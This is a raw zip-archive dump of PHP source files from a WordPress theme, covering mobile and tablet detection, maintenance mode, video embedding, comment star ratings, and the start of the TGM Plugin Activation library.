     * Method gets the mobile detection rules. This method is used for the magic methods $detect->is*().
     * Retrieve the current set of rules.
     *
     * @return array
     */
    public function getRules(): array
    {
        static $rules;

        if (!$rules) {
            $rules = array_merge(
                static::$phoneDevices,
                static::$tabletDevices,
                static::$operatingSystems,
                static::$browsers
            );
        }

        return $rules;
    }

    /**
     * Retrieve the list of mobile operating systems.
     *
     * @return array The list of mobile operating systems.
     */
    public static function getOperatingSystems(): array
    {
        return static::$operatingSystems;
    }

    /**
     * Check the HTTP headers for signs of mobile.
     * This is the fastest mobile check possible; it's used
     * inside isMobile() method.
     *
     * @return bool
     */
    public function checkHttpHeadersForMobile(): bool
    {

        foreach ($this->getMobileHeaders() as $mobileHeader => $matchType) {
            if (isset($this->httpHeaders[$mobileHeader])) {
                if (isset($matchType['matches']) && is_array($matchType['matches'])) {
                    foreach ($matchType['matches'] as $_match) {
                        if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false) {
                            return true;
                        }
                    }

                    return false;
                } else {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Magic overloading method.
     *
     * @method boolean is[...]()
     * @param string $name
     * @param array $arguments
     * @return bool
     * @throws BadMethodCallException when the method doesn't exist and doesn't start with 'is'
     */
    public function __call(string $name, array $arguments)
    {
        // make sure the name starts with 'is', otherwise
        if (substr($name, 0, 2) !== 'is') {
            throw new BadMethodCallException("No such method exists: $name");
        }

        $key = substr($name, 2);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Find a detection rule that matches the current User-agent.
     *
     * @param string|null $userAgent deprecated
     * @return bool
     */
    protected function matchDetectionRulesAgainstUA(string $userAgent = null): bool
    {
        // Begin general search.
        foreach ($this->getRules() as $_regex) {
            if (empty($_regex)) {
                continue;
            }

            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Search for a certain key in the rules array.
     * If the key is found then try to match the corresponding
     * regex against the User-Agent.
     *
     * @param string $key
     *
     * @return bool
     */
    protected function matchUAAgainstKey(string $key): bool
    {
        // Make the keys lowercase, so we can match: isIphone(), isiPhone(), isiphone(), etc.
        $key = strtolower($key);
        if (false === isset($this->cache[$key])) {
            // change the keys to lower case
            $_rules = array_change_key_case($this->getRules());

            if (false === empty($_rules[$key])) {
                $this->cache[$key] = $this->match($_rules[$key]);
            }

            if (false === isset($this->cache[$key])) {
                $this->cache[$key] = false;
            }
        }

        return $this->cache[$key];
    }

    /**
     * Check if the device is mobile.
     * Returns true if any type of mobile device detected, including special ones
     * @param string|null $userAgent  deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     */
    public function isMobile(string $userAgent = null, array $httpHeaders = null): bool
    {

        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER', $cfHeaders) &&
                $cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] === 'true'
            ) {
                return true;
            }
        }

        if ($this->checkHttpHeadersForMobile()) {
            return true;
        } else {
            return $this->matchDetectionRulesAgainstUA();
        }
    }

    /**
     * Check if the device is a tablet.
     * Return true if any type of tablet device is detected.
     *
     * @param string|null $userAgent   deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     */
    public function isTablet(string $userAgent = null, array $httpHeaders = null): bool
    {
        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER', $cfHeaders) &&
                $cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] === 'true'
            ) {
                return true;
            }
        }

        foreach (static::$tabletDevices as $_regex) {
            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * This method checks for a certain property in the
     * userAgent.
     * @param  string        $key
     * @param string|null $userAgent   deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     *
     * @todo: The httpHeaders part is not yet used.
     */
    public function is(string $key, string $userAgent = null, array $httpHeaders = null): bool
    {
        // Set the UA and HTTP headers only if needed (eg. batch mode).
        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Some detection rules are relative (not standard),
     * because of the diversity of devices, vendors and
     * their conventions in representing the User-Agent or
     * the HTTP headers.
     *
     * This method will be used to check custom regexes against
     * the User-Agent string.
     *
     * @param string $regex
     * @param string|null $userAgent
     * @return bool
     *
     * @todo: search in the HTTP headers too.
     */
    public function match(string $regex, string $userAgent = null): bool
    {
        if (!\is_string($userAgent) && !\is_string($this->userAgent)) {
            return false;
        }

        $match = (bool) preg_match(
            sprintf('#%s#is', $regex),
            (false === empty($userAgent) ? $userAgent : $this->userAgent),
            $matches
        );
        // If positive match is found, store the results for debug.
        if ($match) {
            $this->matchingRegex = $regex;
            $this->matchesArray = $matches;
        }

        return $match;
    }

    /**
     * Get the properties array.
     *
     * @return array
     */
    public static function getProperties(): array
    {
        return static::$properties;
    }

    /**
     * Prepare the version number.
     *
     * @param string $ver The string version, like "2.6.21.2152";
     *
     * @return float
     *
     * @todo Remove the error suppression from str_replace() call.
     */
    public function prepareVersionNo(string $ver): float
    {
        $ver = str_replace(array('_', ' ', '/'), '.', $ver);
        $arrVer = explode('.', $ver, 2);

        if (isset($arrVer[1])) {
            $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions.
        }

        return (float) implode('.', $arrVer);
    }

    /**
     * Check the version of the given property in the User-Agent.
     * Will return a float number. (e.g. 2_0 will return 2.0, 4.3.1 will return 4.31)
     *
     * @param string $propertyName The name of the property. See self::getProperties() array
     *                             keys for all possible properties.
     * @param string $type         Either self::VERSION_TYPE_STRING to get a string value or
     *                             self::VERSION_TYPE_FLOAT indicating a float value. This parameter
     *                             is optional and defaults to self::VERSION_TYPE_STRING. Passing an
     *                             invalid parameter will default to the type as well.
     *
     * @return string|float|false The version of the property we are trying to extract.
     */
    public function version(string $propertyName, string $type = self::VERSION_TYPE_STRING)
    {
        if (empty($propertyName)) {
            return false;
        }

        if (!\is_string($this->userAgent)) {
            return false;
        }

        // set the $type to the default if we don't recognize the type
        if ($type !== self::VERSION_TYPE_STRING && $type !== self::VERSION_TYPE_FLOAT) {
            $type = self::VERSION_TYPE_STRING;
        }

        $properties = self::getProperties();

        // Check if the property exists in the properties array.
        if (true === isset($properties[$propertyName])) {
            // Prepare the pattern to be matched.
            // Make sure we always deal with an array (string is converted).
            $properties[$propertyName] = (array) $properties[$propertyName];

            foreach ($properties[$propertyName] as $propertyMatchString) {
                $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString);

                // Identify and extract the version.
                preg_match(sprintf('#%s#is', $propertyPattern), $this->userAgent, $match);

                if (false === empty($match[1])) {
                    return ($type == self::VERSION_TYPE_FLOAT ? $this->prepareVersionNo($match[1]) : $match[1]);
                }
            }
        }

        return false;
    }
}PK     1w\_      detect_mobile.phpnu [        <?php
if ( ! class_exists( '\Detection\Penci_Mobile_Detect' ) ){
	require_once ( 'Mobile_Detect.php' );
}
if ( ! function_exists( 'penci_is_mobile' ) ) {
	function penci_is_mobile(){
		if ( ! wp_is_mobile() ) {
			return false;
		}
		$return = false;
		if ( class_exists( '\Detection\Penci_Mobile_Detect' ) ){
			$detect = new \Detection\Penci_Mobile_Detect;
			
			if ( $detect->isMobile() && !$detect->isTablet() ) {
				$return = true;
			}
		}
		
		return $return;
	}
}

if ( ! function_exists( 'penci_is_tablet' ) ) {
	function penci_is_tablet(){
		
		$return = false;
		if ( class_exists( '\Detection\Penci_Mobile_Detect' ) ){
			$detect = new \Detection\Penci_Mobile_Detect;
			
			if ( $detect->isTablet() ) {
				$return = true;
			}
		}
		
		return $return;
	}
}PK     1w\՜Y      maintenance.phpnu [        <?php

class Penci_Maintenance_Mode {
	public function __construct() {

		$is_enabled = (bool) get_theme_mod( 'penci_maintenance_mode' ) && (bool) get_theme_mod( 'penci_maintenance_mode_template' );


		if ( ! $is_enabled ) {
			return;
		}

		add_action( 'admin_bar_menu', [ $this, 'add_menu_in_admin_bar' ], 300 );
		add_action( 'admin_head', [ $this, 'print_style' ] );
		add_action( 'wp_head', [ $this, 'print_style' ] );

		// Priority = 11 that is *after* WP default filter `redirect_canonical` in order to avoid redirection loop.
		add_action( 'template_redirect', [ $this, 'template_redirect' ], 11 );
	}

	public function print_style() {
		?>
        <style>#wp-admin-bar-penci-maintenance-on > a {
                background-color: #0639ff;
            }
            #wp-admin-bar-penci-maintenance-on > .ab-item:before {
                content: "\f160";
                top: 2px;
            }</style>
		<?php
	}

	public function add_menu_in_admin_bar( \WP_Admin_Bar $wp_admin_bar ) {
		$block               = get_theme_mod( 'penci_maintenance_mode_template' );
		$customizer_edit_url = admin_url( 'customize.php?autofocus[section]=penci_maintenance_mode_section' );
		$block_edit_url = $block ? get_edit_post_link( $block ) : '';

		$wp_admin_bar->add_node( [
			'id'    => 'penci-maintenance-on',
			'title' => esc_html__( 'Maintenance Mode ON', 'soledad' ),
			'href'  => $customizer_edit_url,
		] );

		if ( $block_edit_url ) {
			$wp_admin_bar->add_node( [
				'id'     => 'penci-maintenance-edit',
				'parent' => 'penci-maintenance-on',
				'title'  => esc_html__( 'Edit Template', 'soledad' ),
				'href'   => $block_edit_url,
			] );
		}
	}

	public function body_class( $classes ) {
		$classes[] = 'penci-maintenance-mode';

		return $classes;
	}

	public function template_redirect() {
		if ( class_exists( '\Elementor\Plugin' ) && \Elementor\Plugin::$instance->preview->is_preview_mode() ) {
			return;
		}

		$user = wp_get_current_user();

		$exclude_mode = get_theme_mod( 'penci_maintenance_mode_access', 'logged_in' );

		$is_login_page = false;

		/**
		 * Is login page
		 *
		 * Filters whether the maintenance mode displaying the login page or a regular page.
		 *
		 * @param bool $is_login_page Whether its a login page.
		 *
		 * @since 1.0.4
		 *
		 */
		$is_login_page = is_login();

		if ( $is_login_page ) {
			return;
		}

		if ( 'logged_in' === $exclude_mode && is_user_logged_in() ) {
			return;
		}

		if ( 'custom' === $exclude_mode ) {
			$exclude_roles = get_theme_mod( 'penci_maintenance_mode_custom_roles', [] );
			$user_roles    = $user->roles;

			if ( is_multisite() && is_super_admin() ) {
				$user_roles[] = 'super_admin';
			}

			$compare_roles = array_intersect( $user_roles, $exclude_roles );

			if ( ! empty( $compare_roles ) ) {
				return;
			}
		}

		add_filter( 'body_class', [ $this, 'body_class' ] );

		if ( 'maintenance' === get_theme_mod( 'penci_maintenance_mode' ) ) {
			$protocol = wp_get_server_protocol();
			header( "$protocol 503 Service Unavailable", true, 503 );
			header( 'Content-Type: text/html; charset=utf-8' );
			header( 'Retry-After: 600' );
		}

		// Setup global post for Elementor\frontend so `_has_elementor_in_page = true`.
		$GLOBALS['post'] = get_post( get_theme_mod( 'penci_maintenance_mode_template' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited

		// Set the template as `$wp_query->current_object` for `wp_title` and etc.
		query_posts( [
			'p'         => get_theme_mod( 'penci_maintenance_mode_template' ),
			'post_type' => 'penci-block',
		] );
	}
}

new Penci_Maintenance_Mode();PK     1w\YC!  C!    video-format.phpnu [        <?php
if ( ! class_exists( 'Penci_Sodedad_Video_Format' ) ) {
	class Penci_Sodedad_Video_Format {

		public static function get_type_video( $video_embed ) {
			if ( ! $video_embed ) {
				return '';
			}

			$video_embed = strtolower( $video_embed );
			if ( false !== strpos( $video_embed, 'vimeo.com' ) ) {
				return 'vimeo';
			}

			if ( false !== strpos( $video_embed, 'youtu.be' ) ||
				false !== strpos( $video_embed, 'youtube-nocookie.com' ) ||
				false !== strpos( $video_embed, 'youtube.com' ) ) {
				return 'youtube';
			}

			preg_match( '#^(http|https)://.+\.(mp4|m4v|webm|ogv|wmv|flv)$#i', $video_embed, $matches );
			if ( ! empty( $matches[0] ) ) {
				return 'selfhosted';
			}

			return '';
		}

		public static function show_video_embed( $atts ) {

			$post_id             = '';
			$parallax            = '';
			$div_special_wrapper = '';
			$single_style        = '';
			$args                = array();
			$show_title_inner    = false;
			$move_title_bellow   = false;

			$atts = wp_parse_args( $atts, array(
				'post_id'             => '',
				'parallax'            => '',
				'args'                => '',
				'show_title_inner'    => '',
				'move_title_bellow'   => '',
				'div_special_wrapper' => '',
				'single_style'        => ''
			) );
			extract( $atts );

			remove_all_filters( 'oembed_result' );

			$author_html = '';

			if ( 'style-22' == $single_style ) {
				$author_html = '<div class="penci-author-wrapper"><a href="'.get_author_posts_url( get_current_user_id() ).'">' . get_avatar( get_current_user_id(), 100 ) . '</a></div>';
			}

			$video_embed = get_post_meta( $post_id, '_format_video_embed', true );
			$type_video  = self::get_type_video( $video_embed );

			$output = '';
			if ( 'youtube' == $type_video ) {
				$video = self::get_youtube_link( $video_embed );

				if ( $parallax ) {
					if ( false !== strpos( $video, 'iframe' ) ) {
						$output .= '<div class="penci-jarallax" data-video-src="' . self::get_url_video_embed_code( $video ) . '"></div>';
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video ) ) {
						if ( 'style-7' == $single_style || ( ! get_theme_mod( 'penci_move_title_bellow' ) && in_array( $single_style, array(
									'style-5',
									'style-6',
									'style-8'
								) ) ) ) {
							$iframe_video = wp_oembed_get( $video, $args );

							$patterns[]     = '/src="(.*?)"/';
							$replacements[] = 'src="${1}&autoplay=1&mute=1"';
							$output         .= preg_replace( $patterns, $replacements, $iframe_video );

						} else {
							$output .= wp_oembed_get( $video, $args );
						}

					} else {
						$output .= do_shortcode( $video );
					}
				}
			} elseif ( 'vimeo' == $type_video ) {
				if ( $parallax ) {
					if ( false !== strpos( $video_embed, 'iframe' ) ) {
						$output .= $video_embed;
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video_embed ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video_embed ) ) {

						if ( 'style-7' == $single_style || ( ! get_theme_mod( 'penci_move_title_bellow' ) && in_array( $single_style, array(
									'style-5',
									'style-6',
									'style-8'
								) ) ) ) {


							$iframe_video = wp_oembed_get( $video_embed, $args );

							$patterns[]     = '/src="(.*?)"/';
							$replacements[] = 'src="${1}&autoplay=1&loop=1&mute=1"';

							$output .= preg_replace( $patterns, $replacements, $iframe_video );

						} else {
							$output .= wp_oembed_get( $video_embed, $args );
						}
					} else {
						$output .= do_shortcode( $video_embed );
					}
				}
			} elseif ( 'selfhosted' == $type_video ) {
				$output .= do_shortcode( '[video src="' . $video_embed . '"]' );
			} else {
				$output .= do_shortcode( $video_embed );
			}

			echo '<div class="post-image penci-video-format-' . $type_video . ( ! $move_title_bellow ? ' penci-move-title-above' : '' ) . '">';
			echo $output;

			if ( $show_title_inner && ! $move_title_bellow ) {
				echo $div_special_wrapper;
				get_template_part( 'template-parts/single', 'breadcrumb' );
				get_template_part( 'template-parts/single', 'entry-header' );
				echo '</div>';
			}
			echo $author_html;
			echo '</div>';

		}

		public static function show_builder_video_embed( $atts,$settings ) {

			$post_id             = '';
			$parallax            = '';
			$div_special_wrapper = '';
			$single_style        = '';
			$args                = array();
			$show_title_inner    = false;
			$move_title_bellow   = false;

			$atts = wp_parse_args( $atts, array(
				'post_id'             => '',
				'parallax'            => '',
				'args'                => '',
				'show_title_inner'    => '',
				'move_title_bellow'   => '',
				'div_special_wrapper' => '',
				'single_style'        => ''
			) );
			extract( $atts );

			remove_all_filters( 'oembed_result' );


			$video_embed = get_post_meta( $post_id, '_format_video_embed', true );
			$type_video  = self::get_type_video( $video_embed );

			$output = '';
			if ( 'youtube' == $type_video ) {
				$video = self::get_youtube_link( $video_embed );

				if ( $parallax ) {
					if ( false !== strpos( $video, 'iframe' ) ) {
						$output .= '<div class="penci-jarallax" data-video-src="' . self::get_url_video_embed_code( $video ) . '"></div>';
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video ) ) {
						$iframe_video = wp_oembed_get( $video, $args );

						$patterns[]     = '/src="(.*?)"/';
						$replacements[] = 'src="${1}&autoplay=1&mute=1"';
						$output         .= preg_replace( $patterns, $replacements, $iframe_video );

					} else {
						$output .= do_shortcode( $video );
					}
				}
			} elseif ( 'vimeo' == $type_video ) {
				if ( $parallax ) {
					if ( false !== strpos( $video_embed, 'iframe' ) ) {
						$output .= $video_embed;
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video_embed ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video_embed ) ) {

						$iframe_video = wp_oembed_get( $video_embed, $args );

						$patterns[]     = '/src="(.*?)"/';
						$replacements[] = 'src="${1}&autoplay=1&loop=1&mute=1"';

						$output .= preg_replace( $patterns, $replacements, $iframe_video );
					} else {
						$output .= do_shortcode( $video_embed );
					}
				}
			} elseif ( 'selfhosted' == $type_video ) {
				$output .= do_shortcode( '[video src="' . $video_embed . '"]' );
			} else {
				$output .= do_shortcode( $video_embed );
			}

			echo '<div class="post-image penci-video-format-' . $type_video . ( ! $move_title_bellow ? ' penci-move-title-above' : '' ) . '">';
			echo $output;

			if ( $show_title_inner && ! $move_title_bellow ) {
				echo $div_special_wrapper;
				echo '<div class="penci-fto-ct">';
				get_template_part( 'template-parts/single', 'breadcrumb' );
				get_template_part( 'inc/template-builder/single-elements/entry', 'header',$settings );
				echo '</div>';
				echo '</div>';
			}
			echo '</div>';

		}

		public static function get_youtube_link( $link ) {
			$return = $link;
			$values = '';

			if ( preg_match( '/youtube\.com\/watch\?v=([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/embed\/([^"]+)\?/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/embed\/([^"]+)"/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/v\/([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtu\.be\/([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/verify_age\?next_url=\/watch%3Fv%3D([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} elseif ( preg_match( '%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $link, $id ) ) {
				$values = $id[1];
			}

			if ( $values ) {
				$return = 'https://www.youtube.com/watch?v=' . $values;
			}

			return $return;
		}

		function get_url_video_embed_code( $video ) {
			return preg_replace( "/\s*[a-zA-Z\/\/:\.]*youtube.com\/watch\?v=([a-zA-Z0-9\-_]+)([a-zA-Z0-9\/\*\-\_\?\&\;\%\=\.]*)/i", "<i" . "frame width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/$1\" frameborder=\"0\" allowfullscreen></i" . "frame>", $video );
		}
	}
}
PK     1w\ؐb#  b#    comment_ratings.phpnu [        <?php

class Penci_Comment_Ratings {

	/**
	 * Instance of this class.
	 * @since    1.0.0
	 * @var      object
	 */
	protected static $instance = null;

	protected $plugin_baseurl = null;

	protected static $config;
	protected static $localized = array();

	/**
	 * Initialize the plugin by setting localization, filters, and administration functions.
	 * @since     1.0.0
	 */
	protected function __construct() {

		if ( ! get_theme_mod( 'penci_post_comments_ratings' ) ) {
			return false;
		}

		// Load public-facing style sheet and JavaScript.
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		add_action( 'comment_form_top', array( $this, 'output_review_fields' ) );

		add_action( 'comment_form_defaults', array( $this, 'filter_submit_comment_button' ) );


		add_action( 'comment_post', array( $this, 'save_comment' ) );

		// now the admin part
		add_filter( 'comment_edit_redirect', array( $this, 'save_comment_backend' ), 10, 2 );
		add_action( 'add_meta_boxes', array( $this, 'add_custom_backend_box' ) );

		// add admin columns
		add_filter( 'manage_edit-comments_columns', array( $this, 'admin_col' ), 10, 100 );
		add_action( 'manage_comments_custom_column', array( $this, 'admin_col_content' ), 10, 2 );

		add_filter( 'comment_class', array( $this, 'review_comment_class' ), 10, 6 );

	}

	/**
	 * Return an instance of this class.
	 * @return    object    A single instance of this class.
	 * @since     1.0.0
	 */
	public static function get_instance() {
		// If the single instance hasn't been set, set it now.
		if ( null == self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	public function review_comment_class( $classes, $css_class, $comment_id, $comment, $post ) {
		$rating            = get_comment_meta( $comment_id, 'pccm_rating', true );
		$pccm_rating_title = get_comment_meta( $comment_id, 'pccm_rating_title', true );

		if ( $rating && $pccm_rating_title ) {
			$classes[] = 'penci-rating-comment';
		}

		return $classes;
	}

	public function moveElement( &$array, $a, $b ) {
		$out = array_splice( $array, $a, 1 );
		array_splice( $array, $b, 0, $out );
	}

	public function admin_col( $columns ) {
		$columns['penci_comment_ratings'] = __( 'Comment Ratings', 'soledad' );

		$n_columns = array();
		$move      = 'penci_comment_ratings'; // what to move
		$before    = 'response'; // move before this
		foreach ( $columns as $key => $value ) {
			if ( $key == $before ) {
				$n_columns[ $move ] = $move;
			}
			$n_columns[ $key ] = $value;
		}

		return $n_columns;

	}

	function admin_col_content( $column, $comment_ID ) {
		//get the rating
		$rating_content = '';
		$rating         = get_comment_meta( $comment_ID, 'pccm_rating', true );
		//get the rating title
		$pccm_rating_title = get_comment_meta( $comment_ID, 'pccm_rating_title', true );

		//add the rating stars to the comment
		if ( ! empty( $rating ) ) {
			$rating_content .= '<div class="review_rated" style="color:#ffb900">';
			for ( $x = 1; $x <= 5; $x ++ ) {
				$show           = $x <= $rating ? 'filled' : 'empty';
				$rating_content .= '<span class="dashicons dashicons-star-' . $show . '"></span>';
			}
			$rating_content .= '</div>';
		}

		//add the rating title
		if ( ! empty( $pccm_rating_title ) ) {
			$rating_content .= '<span class="pccm_rating_title">' . $pccm_rating_title . '</span>';
		}
		switch ( $column ) :
			case 'penci_comment_ratings' :
			{
				echo $rating_content; // or echo $comment->comment_ID;
				break;
			}
		endswitch;
	}

	protected function set_rating_values() {
		$ratings = array(
			penci_get_setting( 'penci_review_terrible' ),
			penci_get_setting( 'penci_review_poor' ),
			penci_get_setting( 'penci_review_average' ),
			penci_get_setting( 'penci_review_verygood' ),
			penci_get_setting( 'penci_review_exceptional' ),
		);

		return $ratings;
	}

	/**
	 * Register and enqueues public-facing JavaScript files.
	 * @since    1.0.0
	 */
	public function enqueue_scripts() {
		// add assets here
		wp_enqueue_script( 'jquery-raty', PENCI_SOLEDAD_URL . '/js/jquery.raty.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'reviews-scripts', PENCI_SOLEDAD_URL . '/js/reviews.js', array( 'jquery-raty' ), PENCI_SOLEDAD_VERSION, true );

		wp_localize_script( 'reviews-scripts', 'penci_reviews', array(
				'hints' => $this->set_rating_values(),
			)
		);
	}

	function save_comment( $commentID ) {
		//some sanity check
		if ( ! is_numeric( $commentID ) ) {
			return;
		}
		// Save the rating
		if ( isset( $_POST['pccm_rating'] ) && is_numeric( $_POST['pccm_rating'] ) ) {
			update_comment_meta( $commentID, 'pccm_rating', $_POST['pccm_rating'], true );
		}

		//Save the rating title
		if ( isset( $_POST['pccm_rating_title'] ) && is_string( $_POST['pccm_rating_title'] ) ) {
			update_comment_meta( $commentID, 'pccm_rating_title', sanitize_text_field( $_POST['pccm_rating_title'] ), true );
		}
	}

	function output_review_fields() {
		?>

        <div id="add_comment_rating_wrap">
            <label for="add_post_rating"><?php echo penci_get_setting( 'penci_overall_rating' ); ?></label>

            <div id="add_post_rating"
                 data-pccm_rating="<?php echo get_theme_mod( 'penci_post_comments_ratings', 4 ); ?>"
                 data-assets_path="<?php echo esc_attr( PENCI_SOLEDAD_URL . '/images' ); ?>"></div>
        </div>
        <div class="review-title-form">
            <label for="pccm_rating_title"><?php penci_get_setting( 'penci_summarize' ); ?></label>
            <input type='text' id='pccm_rating_title' name='pccm_rating_title' value=""
                   placeholder="<?php echo penci_get_setting( 'penci_summarize' ); ?>"
                   size='25'/>
        </div>

		<?php
	}


	function filter_submit_comment_button( $args ) {
		$label                = penci_get_setting( 'penci_review_submit' );
		$args['label_submit'] = $label;

		return $args;
	}

	/**
	 * Save Custom Comment Field
	 * This hook deals with the redirect after saving, we are only taking advantage of it
	 */
	function save_comment_backend( $location, $comment_id ) {
		// Not allowed, return regular value without updating meta
		if ( ! wp_verify_nonce( $_POST['noncename_wpse_82317'], plugin_basename( __FILE__ ) )
		     && ! isset( $_POST['pccm_rating_title'] ) && ! isset( $_POST['pccm_rating'] ) ) {
			return $location;
		}

		// Update meta
		update_comment_meta(
			$comment_id,
			'pccm_rating_title',
			sanitize_text_field( $_POST['pccm_rating_title'] )
		);

		// Save rating to the comment if we actually have a numeric value here - just to stay safe
		if ( intval( $_POST['pccm_rating'] ) ) {
			update_comment_meta( $comment_id, 'pccm_rating', intval( $_POST['pccm_rating'] ) );
		}

		// Return regular value after updating
		return $location;
	}

	/**
	 * Add Comment meta box
	 */
	function add_custom_backend_box() {
		add_meta_box(
			'section_id_wpse_82317',
			esc_html__( 'Review Fields', 'soledad' ),
			array( $this, 'inner_custom_backend_box' ),
			'comment',
			'normal'
		);
	}

	/**
	 * Render meta box with Custom Field
	 */
	function inner_custom_backend_box( $comment ) {
		//some sanity check
		if ( empty( $comment ) ) {
			return;
		}

		// Use nonce for verification
		wp_nonce_field( plugin_basename( __FILE__ ), 'noncename_wpse_82317' );

		$pccm_rating_title = get_comment_meta( $comment->comment_ID, 'pccm_rating_title', true );
		$current_rating    = get_comment_meta( $comment->comment_ID, 'pccm_rating', true ); ?>

        <fieldset>
            <label for="pccm_rating_title"><?php echo penci_get_setting( 'penci_review_title' ); ?></label>
            <input type='text' id='pccm_rating_title' name='pccm_rating_title'
                   value="<?php echo esc_attr( $pccm_rating_title ) ?>" size='25'/>
        </fieldset>

		<?php // if there is a value, display it
		$data = '';
		if ( ! empty( $current_rating ) ) {
			$data .= 'data-pccm_rating="' . $current_rating . '"';
		} ?>

        <fieldset id="add_comment_rating_wrap">
			<?php ?>
            <label for="add_post_rating"><?php echo penci_get_setting( 'penci_review_ratings' ); ?></label>

            <div id="add_post_rating" <?php echo $data; ?>
                 data-assets_path="<?php echo $this->plugin_baseurl . '/images'; ?>"></div>
        </fieldset>

	<?php }

	function get_average_rating( $post_id = null, $decimals = 2 ) {

		if ( empty( $post_id ) ) {
			$post_id = get_the_ID();
		}

		$comments = get_comments( array(
			'post_id'  => $post_id,
			'meta_key' => 'pccm_rating',
			'status'   => 'approve'
		) );

		if ( empty( $comments ) ) {
			return false;
		}

		$total = 0;
		foreach ( $comments as $comment ) {
			$current_rating = get_comment_meta( $comment->comment_ID, 'pccm_rating', true );
			$total          = $total + (double) $current_rating;
		}

		$average = $total / count( $comments );

		return number_format( $average, $decimals );
	}
}

Penci_Comment_Ratings::get_instance();PK     1w\m     class-tgm-plugin-activation.phpnu [        <?php
/**
 * Plugin installation and activation for WordPress themes.
 *
 * Please note that this is a drop-in library for a theme or plugin.
 * The authors of this library (Thomas and Gary) are NOT responsible
 * for the support of your plugin or theme. Please contact the plugin
 * or theme author for support.
 *
 * @package   TGM-Plugin-Activation
 * @version   2.5.0-alpha
 * @link      http://tgmpluginactivation.com/
 * @author    Thomas Griffin, Gary Jones
 * @copyright Copyright (c) 2011, Thomas Griffin
 * @license   GPL-2.0+
 *
 * @wordpress-plugin
 * Plugin Name: TGM Plugin Activation
 * Plugin URI:
 * Description: Plugin installation and activation for WordPress themes.
 * Version:     2.5.0-dev
 * Author:      griffinjt, garyj, jrf
 * Author URI:  http://tgmpluginactivation.com/
 * Text Domain: tgmpa
 * Domain Path: /languages/
 * Copyright:   2011, Thomas Griffin
 */

/*
	Copyright 2011 Thomas Griffin (thomasgriffinmedia.com)

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License, version 2, as
	published by the Free Software Foundation.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

if ( ! class_exists( 'TGM_Plugin_Activation' ) ) {

	/**
	 * Automatic plugin installation and activation library.
	 *
	 * Creates a way to automatically install and activate plugins from within themes.
	 * The plugins can be either pre-packaged, downloaded from the WordPress
	 * Plugin Repository or downloaded from another external source.
	 *
	 * @since 1.0.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Thomas Griffin
	 * @author  Gary Jones
	 */
	class TGM_Plugin_Activation {

		/**
		 * TGMPA version number.
		 *
		 * @since 2.5.0
		 *
		 * @const string Version number.
		 */
		const TGMPA_VERSION = '2.5.0';

		/**
		 * Regular expression to test if a URL is a WP plugin repo URL.
		 *
		 * @const string Regex.
		 *
		 * @since 2.5.0
		 */
		const WP_REPO_REGEX = '|^http[s]?://wordpress\.org/(?:extend/)?plugins/|';

		/**
		 * Arbitrary regular expression to test if a string starts with a URL.
		 *
		 * @const string Regex.
		 *
		 * @since 2.5.0
		 */
		const IS_URL_REGEX = '|^http[s]?://|';
